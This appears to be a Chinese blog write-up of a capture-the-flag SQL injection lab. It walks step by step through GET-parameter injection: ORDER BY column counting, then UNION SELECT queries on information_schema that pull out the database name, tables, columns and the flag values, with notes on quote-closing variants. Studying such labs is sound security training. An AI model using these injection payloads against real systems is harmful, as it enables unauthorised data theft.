SQL注入——GET类型

SQL注入——GET类型

靶场地址

原理:
sql注入就是利用GET传参,用户提交数据与数据库进行交互,从数据库中提取有用的信息

第一题:
我们先在url栏测试一下,把id=1改成id=-1
在这里插入图片描述
结果页面就不显示了
表示存在sql注入漏洞在这里插入图片描述我们再查看一下源码,发现它是自动闭合的,不需要我们输入代码闭合在这里插入图片描述

接着,我在url轮流输入

  order by 1,2,3....

测试出它页面字段总数
在这里插入图片描述

在输入

order by 1,2,3,4

的时候它页面不显示了,于是判断出它字段数为3

在这里插入图片描述
得知它字段数过后,我就要查当前数据库的名字了。我在url栏利用联合查询

union select 1,2,database()

发现当前数据库名为error
在这里插入图片描述
查到数据库名,接下来就查表名了,我把前面的id=1改成id=1.1,再在后面输入

union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
在这里插入图片描述

接着用代码limit 1,1/2.1/3.1,把所有数据库的表名都查出来,发现只有两个表名:error_flag/user

初步判断flag可能存在error_flag表中,于是我开始 查error_flag表的列名
在代码栏继续输入

select 1,2,column_name from information_schema.columns where TABLE_NAME=‘error_flag’ limit 0,1
在这里插入图片描述我用limit得到所有列名,id;flag于是我们找到了flag,最后一步直接在url栏输入

select 1,2,flag from error_flag limit 0,1

用limit查出所有flag得到

在这里插入图片描述

用limit查出所有flag
zKaQ-Nf
zKaQ-BJY
zKaQ-XiaoFang
zKaq-98K
最后,发现是第一个flag

其他GET注入都是如此,但是闭合方式不同,有的是需要我们输入单引号闭合;需要我们输入’)闭合,再用#注释掉后面;需要我们输入”)闭合,再用#注释掉后面

猜你喜欢

转载自blog.csdn.net/weixin_43264067/article/details/105906172
今日推荐